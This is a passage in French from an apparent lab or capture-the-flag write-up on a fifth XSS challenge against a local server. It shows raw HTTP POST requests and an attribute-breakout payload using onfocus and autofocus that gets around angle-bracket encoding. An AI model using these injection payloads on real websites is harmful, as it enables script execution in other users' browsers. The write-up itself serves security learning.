Cinquième challenge. L'auteur indique qu'il encode maintenant les caractères < et > :
Je tente la payload <script>alert(1)</script> afin de vérifier l'encodage. Le mot clé n'est pas réfléchi dans le message d'erreur mais en tant que valeur de l'attribut HTML value :
Et les chevrons sont encodés en entités HTML :
POST /xss5/ HTTP/1.1Host:localhost:9003User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Content-Type:application/x-www-form-urlencodedContent-Length:64Origin:http://localhost:9003Connection:closeReferer:http://localhost:9003/xss5/search=%3Cscript%3Ealert%281%29%3C%2F%3Cscript%3E&submit=Envoyer
Seulement les chevrons sont encodés, il m'est alors possible de réutiliser la même technique d'attaque qu'au challenge xss2, whatever" onfocus="alert(1)" autofocus x=" :
POST /xss5/ HTTP/1.1Host:localhost:9003User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Content-Type:application/x-www-form-urlencodedContent-Length:80Origin:http://localhost:9003Connection:closeReferer:http://localhost:9003/xss5/search=whatever%22+onfocus%3D%22alert%281%29%22+autofocus+x%3D%22&submit=Envoyer
Le mot clé est bien réfléchi en tant que valeur de l'attribut HTML value mais un assainissement est tout d'abord effectué grâce à la méthode xss_check(). Cette méthode remplace les chevrons < et > en entités HTML :